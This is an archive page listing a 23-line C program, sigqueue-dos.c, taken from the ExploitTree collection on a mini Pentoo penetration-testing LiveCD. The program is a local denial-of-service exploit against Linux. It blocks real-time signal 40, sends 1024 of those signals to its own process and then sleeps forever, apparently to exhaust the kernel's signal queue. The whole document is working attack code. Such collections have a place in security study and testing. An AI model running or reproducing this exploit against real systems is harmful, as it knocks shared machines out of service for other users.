home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / sigqueue-dos.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  278b  |  23 lines

  1. #include <signal.h>
  2. #include <unistd.h>
  3. #include <stdlib.h>
  4.  
  5. int main()
  6. {
  7.     sigset_t set;
  8.     int i;
  9.     pid_t pid;
  10.  
  11.     sigemptyset(&set);
  12.     sigaddset(&set, 40);
  13.     sigprocmask(SIG_BLOCK, &set, 0);
  14.  
  15.     pid = getpid();
  16.     for (i = 0; i < 1024; i++)
  17.         kill(pid, 40);
  18.  
  19.     while (1)
  20.         sleep(1);
  21. }
  22.  
  23.